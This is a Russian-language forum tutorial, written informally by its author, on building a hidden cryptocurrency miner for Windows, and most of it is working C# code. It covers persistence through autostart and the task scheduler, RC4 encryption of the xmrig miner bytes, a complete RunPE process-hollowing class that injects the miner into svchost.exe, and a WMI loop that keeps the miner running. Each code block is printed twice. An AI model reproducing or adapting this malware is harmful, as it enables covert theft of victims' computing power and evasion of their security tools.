всем привет, начнем с того как они работают эти ваши скрытые майнеры первое конечно же оно заражает твою систему копируется в папки автозагрузка в основе это планировщик заданий второе запуск программы майнинга в память то есть runpe любая программа например xmrig окно конечно не должно быть видно второе передача аргументов типо args = $"wallet={wallet} poll=stratum://{poll}" третие проверка майнинга получаем все процессы и проверяем их аргументы (консольные) если нету аргументов нашего майнера запускаем и так теперь к коду первое что мы должны сделать сохранить байты программы майнера xmrig или все что угодно я вытащил прогу с гитхаба майнера eth можно заюзать ресурсы либо же напрямую в переменную кидать байты желательно (обязательно) сделать шифрование байтов пример кода шифрования private static byte[] key = {45,25,49,100,200,45,23}; //любые байты или для глупенких числа от 0 до 255 //тут и шифрование и дешифрирование //создаем новый проект шифруем прогу с тем же ключем и получаем уже зашифрованную прогу или же byte[] public static byte[] DecodEncod(byte[] data) { int[] S = new int[256]; for (int _ = 0; _ < 256; _++) { S[_] = _; } int[] T = new int[256]; if (key.Length == 256) { Buffer.BlockCopy(key, 0, T, 0, key.Length); } else { for (int _ = 0; _ < 256; _++) { T[_] = key[_ % key.Length]; } } int i = 0; int j = 0; for (i = 0; i < 256; i++) { j = (j + S[i] + T[i]) % 256; int temp = S[i]; S[i] = S[j]; S[j] = temp; } i = j = 0; byte[] result = new byte[data.Length]; for (int iteration = 0; iteration < data.Length; iteration++) { i = (i + 1) % 256; j = (j + S[i]) % 256; int temp = S[i]; S[i] = S[j]; S[j] = temp; int K = S[(S[i] + S[j]) % 256]; result[iteration] = Convert.ToByte(data[iteration] ^ K); } return result; } C# private static byte[] key = {45,25,49,100,200,45,23}; //любые байты или для глупенких числа от 0 до 255 //тут и шифрование и дешифрирование //создаем новый проект шифруем прогу с тем же ключем и получаем уже зашифрованную прогу или же byte[] public static byte[] DecodEncod(byte[] data) { int[] S = new int[256]; for (int _ = 0; _ < 256; _++) { S[_] = _; } int[] T = new int[256]; if (key.Length == 256) { Buffer.BlockCopy(key, 0, T, 0, key.Length); } else { for (int _ = 0; _ < 256; _++) { T[_] = key[_ % key.Length]; } } int i = 0; int j = 0; for (i = 0; i < 256; i++) { j = (j + S[i] + T[i]) % 256; int temp = S[i]; S[i] = S[j]; S[j] = temp; } i = j = 0; byte[] result = new byte[data.Length]; for (int iteration = 0; iteration < data.Length; iteration++) { i = (i + 1) % 256; j = (j + S[i]) % 256; int temp = S[i]; S[i] = S[j]; S[j] = temp; int K = S[(S[i] + S[j]) % 256]; result[iteration] = Convert.ToByte(data[iteration] ^ K); } return result; } с шифрованием разобрались думаю у вас не будет проблем как использовать ресурсы и тп теперь о runpe код взял так же с того же майнера eth с гитхаба выбираем файл в который будем внедрять наш код с нашими аргументами сам код runpe class RunPe { [DllImport("kernel32.dll")] private static extern bool CreateProcess(string _rarg1_, string _rarg2_, IntPtr _rarg3_, IntPtr _rarg4_, bool _rarg5_, uint _rarg6_, IntPtr _rarg7_, string _rarg8_, byte[] _rarg9_, byte[] _rarg1_0); [DllImport("kernel32.dll")] private static extern long VirtualAllocEx(long _rarg1_, long _rarg2_, long _rarg3_, uint _rarg4_, uint _rarg5_); [DllImport("kernel32.dll")] private static extern long WriteProcessMemory(long _rarg1_, long _rarg2_, byte[] _rarg3_, int _rarg4_, long _rarg5_); [DllImport("ntdll.dll")] private static extern uint ZwUnmapViewOfSection(long _rarg1_, long _rarg2_); [DllImport("kernel32.dll")] private static extern bool SetThreadContext(long _rarg1_, IntPtr _rarg2_); [DllImport("kernel32.dll")] private static extern bool GetThreadContext(long _rarg1_, IntPtr _rarg2_); [DllImport("kernel32.dll")] private static extern uint ResumeThread(long _rarg1_); [DllImport("kernel32.dll")] private static extern bool CloseHandle(long _rarg1_); public static void Run(byte[] _rarg1_, string _rarg2_, string _rarg3_) { int _rarg4_ = Marshal.ReadInt32(_rarg1_, 0x3c); long _rarg5_ = Marshal.ReadInt64(_rarg1_, _rarg4_ + 0x18 + 0x18); byte[] _rarg6_ = new byte[0x18]; IntPtr _rarg7_ = new IntPtr(16 * ((Marshal.AllocHGlobal(0x4d0 + (16 / 2)).ToInt64() + (16 - 1)) / 16)); Marshal.WriteInt32(_rarg7_, 0x30, 0x0010001b); CreateProcess(null, _rarg2_ + (!string.IsNullOrEmpty(_rarg3_) ? " " + _rarg3_ : ""), IntPtr.Zero, IntPtr.Zero, true, 0x4u, IntPtr.Zero, Path.GetDirectoryName(_rarg2_), new byte[0x68], _rarg6_); long _rarg8_ = Marshal.ReadInt64(_rarg6_, 0x0); long _rarg9_ = Marshal.ReadInt64(_rarg6_, 0x8); ZwUnmapViewOfSection(_rarg8_, _rarg5_); VirtualAllocEx(_rarg8_, _rarg5_, Marshal.ReadInt32(_rarg1_, _rarg4_ + 0x18 + 0x038), 0x3000, 0x40); WriteProcessMemory(_rarg8_, _rarg5_, _rarg1_, Marshal.ReadInt32(_rarg1_, _rarg4_ + 0x18 + 0x03c), 0L); for (short i = 0; i < Marshal.ReadInt16(_rarg1_, _rarg4_ + 0x4 + 0x2); i++) { byte[] _rarg1_0 = new byte[0x28]; Buffer.BlockCopy(_rarg1_, _rarg4_ + (0x18 + Marshal.ReadInt16(_rarg1_, _rarg4_ + 0x4 + 0x10)) + (0x28 * i), _rarg1_0, 0, 0x28); byte[] _rarg1_1 = new byte[Marshal.ReadInt32(_rarg1_0, 0x010)]; Buffer.BlockCopy(_rarg1_, Marshal.ReadInt32(_rarg1_0, 0x014), _rarg1_1, 0, _rarg1_1.Length); WriteProcessMemory(_rarg8_, _rarg5_ + Marshal.ReadInt32(_rarg1_0, 0x00c), _rarg1_1, _rarg1_1.Length, 0L); } GetThreadContext(_rarg9_, _rarg7_); WriteProcessMemory(_rarg8_, Marshal.ReadInt64(_rarg7_, 0x88) + 16, BitConverter.GetBytes(_rarg5_), 8, 0L); Marshal.WriteInt64(_rarg7_, 0x80, _rarg5_ + Marshal.ReadInt32(_rarg1_, _rarg4_ + 0x18 + 0x10)); SetThreadContext(_rarg9_, _rarg7_); ResumeThread(_rarg9_); Marshal.FreeHGlobal(_rarg7_); CloseHandle(_rarg8_); CloseHandle(_rarg9_); } } C# class RunPe { [DllImport("kernel32.dll")] private static extern bool CreateProcess(string _rarg1_, string _rarg2_, IntPtr _rarg3_, IntPtr _rarg4_, bool _rarg5_, uint _rarg6_, IntPtr _rarg7_, string _rarg8_, byte[] _rarg9_, byte[] _rarg1_0); [DllImport("kernel32.dll")] private static extern long VirtualAllocEx(long _rarg1_, long _rarg2_, long _rarg3_, uint _rarg4_, uint _rarg5_); [DllImport("kernel32.dll")] private static extern long WriteProcessMemory(long _rarg1_, long _rarg2_, byte[] _rarg3_, int _rarg4_, long _rarg5_); [DllImport("ntdll.dll")] private static extern uint ZwUnmapViewOfSection(long _rarg1_, long _rarg2_); [DllImport("kernel32.dll")] private static extern bool SetThreadContext(long _rarg1_, IntPtr _rarg2_); [DllImport("kernel32.dll")] private static extern bool GetThreadContext(long _rarg1_, IntPtr _rarg2_); [DllImport("kernel32.dll")] private static extern uint ResumeThread(long _rarg1_); [DllImport("kernel32.dll")] private static extern bool CloseHandle(long _rarg1_); public static void Run(byte[] _rarg1_, string _rarg2_, string _rarg3_) { int _rarg4_ = Marshal.ReadInt32(_rarg1_, 0x3c); long _rarg5_ = Marshal.ReadInt64(_rarg1_, _rarg4_ + 0x18 + 0x18); byte[] _rarg6_ = new byte[0x18]; IntPtr _rarg7_ = new IntPtr(16 * ((Marshal.AllocHGlobal(0x4d0 + (16 / 2)).ToInt64() + (16 - 1)) / 16)); Marshal.WriteInt32(_rarg7_, 0x30, 0x0010001b); CreateProcess(null, _rarg2_ + (!string.IsNullOrEmpty(_rarg3_) ? " " + _rarg3_ : ""), IntPtr.Zero, IntPtr.Zero, true, 0x4u, IntPtr.Zero, Path.GetDirectoryName(_rarg2_), new byte[0x68], _rarg6_); long _rarg8_ = Marshal.ReadInt64(_rarg6_, 0x0); long _rarg9_ = Marshal.ReadInt64(_rarg6_, 0x8); ZwUnmapViewOfSection(_rarg8_, _rarg5_); VirtualAllocEx(_rarg8_, _rarg5_, Marshal.ReadInt32(_rarg1_, _rarg4_ + 0x18 + 0x038), 0x3000, 0x40); WriteProcessMemory(_rarg8_, _rarg5_, _rarg1_, Marshal.ReadInt32(_rarg1_, _rarg4_ + 0x18 + 0x03c), 0L); for (short i = 0; i < Marshal.ReadInt16(_rarg1_, _rarg4_ + 0x4 + 0x2); i++) { byte[] _rarg1_0 = new byte[0x28]; Buffer.BlockCopy(_rarg1_, _rarg4_ + (0x18 + Marshal.ReadInt16(_rarg1_, _rarg4_ + 0x4 + 0x10)) + (0x28 * i), _rarg1_0, 0, 0x28); byte[] _rarg1_1 = new byte[Marshal.ReadInt32(_rarg1_0, 0x010)]; Buffer.BlockCopy(_rarg1_, Marshal.ReadInt32(_rarg1_0, 0x014), _rarg1_1, 0, _rarg1_1.Length); WriteProcessMemory(_rarg8_, _rarg5_ + Marshal.ReadInt32(_rarg1_0, 0x00c), _rarg1_1, _rarg1_1.Length, 0L); } GetThreadContext(_rarg9_, _rarg7_); WriteProcessMemory(_rarg8_, Marshal.ReadInt64(_rarg7_, 0x88) + 16, BitConverter.GetBytes(_rarg5_), 8, 0L); Marshal.WriteInt64(_rarg7_, 0x80, _rarg5_ + Marshal.ReadInt32(_rarg1_, _rarg4_ + 0x18 + 0x10)); SetThreadContext(_rarg9_, _rarg7_); ResumeThread(_rarg9_); Marshal.FreeHGlobal(_rarg7_); CloseHandle(_rarg8_); CloseHandle(_rarg9_); } } использование runpe //byte[] arry = ресурсы нашего майнера или ваша переменая с arry //перед этим расшифруйте её если было шифрование //так же путь к файлу для runpe у меня это svchost.exe //затем так же переменная (args) с аргументами вы их можете найти в интернете и просто заменить на свой пул или кошелек RunPe.Run(arry, "C:\\Windows\\System32\\svchost.exe", args); Code //byte[] arry = ресурсы нашего майнера или ваша переменая с arry //перед этим расшифруйте её если было шифрование //так же путь к файлу для runpe у меня это svchost.exe //затем так же переменная (args) с аргументами вы их можете найти в интернете и просто заменить на свой пул или кошелек RunPe.Run(arry, "C:\\Windows\\System32\\svchost.exe", args); перед запуском майнера надо же проверить запущен ли он вообще или нет bool started = true; string wmiQuery = string.Format("select CommandLine from Win32_Process where Name='{0}'", "svchost.exe"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmiQuery); ManagementObjectCollection retObjectCollection = searcher.Get(); foreach (ManagementObject retObject in retObjectCollection) { if ((string)retObject["CommandLine"] == "C:\\Windows\\System32\\svchost.exe " + args) started = false; } if(started) //если мы не нашли аргументы то запускаем майнер с нашими аргументами RunPe.Run(Miner, "C:\\Windows\\System32\\svchost.exe", args); //пишем цикл while (true) и просто чекаем и не забываем про задержку Thread.Sleep() C# bool started = true; string wmiQuery = string.Format("select CommandLine from Win32_Process where Name='{0}'", "svchost.exe"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmiQuery); ManagementObjectCollection retObjectCollection = searcher.Get(); foreach (ManagementObject retObject in retObjectCollection) { if ((string)retObject["CommandLine"] == "C:\\Windows\\System32\\svchost.exe " + args) started = false; } if(started) //если мы не нашли аргументы то запускаем майнер с нашими аргументами RunPe.Run(Miner, "C:\\Windows\\System32\\svchost.exe", args); //пишем цикл while (true) и просто чекаем и не забываем про задержку Thread.Sleep() это основа как сделать скрытый майнера тему написал на тяп ляп так что не судите строго